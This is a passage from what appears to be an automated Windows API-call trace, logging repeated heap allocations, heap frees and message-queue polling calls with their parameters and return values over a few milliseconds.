HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0137.128] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.128] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.128] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.128] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.128] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.128] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.128] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0137.129] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.129] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0137.129] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.130] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.130] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0137.130] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0137.131] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.131] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.131] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0137.131] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0137.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.132] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0137.133] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.133] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.133] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0137.133] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.133] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0137.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.134] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.134] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.134] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.134] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0137.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.135] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec7d0 | out: hHeap=0xe80000) returned 1 [0137.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0137.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.135] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.135] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.135] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0137.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecb10 [0137.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.136] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecb10 | out: hHeap=0xe80000) returned 1 [0137.136] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.136] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0137.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.136] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.136] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0137.136] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec810 [0137.136] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.137] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec810 | out: hHeap=0xe80000) returned 1 [0137.137] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.137] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.137] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.137] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0137.137] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0137.138] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.138] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.138] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0137.138] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0137.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.138] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0137.138] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0137.139] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.139] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.139] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.139] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0137.139] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.139] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.140] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0137.140] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.140] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.140] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.140] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.140] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.140] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0137.140] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.140] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.140] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.140] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0137.141] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.141] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.141] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0137.141] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0137.141] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.141] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0137.141] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.142] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.142] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.142] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.142] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.142] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.142] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec490 [0137.142] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.142] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec490 | out: hHeap=0xe80000) returned 1 [0137.142] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.142] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.142] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0137.142] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0137.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.143] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec6d0 [0137.143] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec6d0 | out: hHeap=0xe80000) returned 1 [0137.143] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.143] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0137.143] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.143] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.144] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0137.144] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0137.144] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.144] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0137.144] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.144] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0137.144] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.144] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.144] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0137.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec610 [0137.145] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec610 | out: hHeap=0xe80000) returned 1 [0137.145] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0137.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0137.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0137.146] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.146] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0137.146] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.146] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.146] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.146] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0137.146] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.147] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0137.147] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.147] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.147] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.147] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.147] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.147] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.147] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.147] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.147] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.148] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0137.149] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.149] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.149] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.149] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.149] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.149] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.149] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.149] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0137.149] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.150] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0137.150] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.150] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.150] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.150] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.150] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.150] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.150] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.150] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec810 [0137.150] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.151] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec810 | out: hHeap=0xe80000) returned 1 [0137.151] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.151] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.151] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.151] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.151] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.151] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.151] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 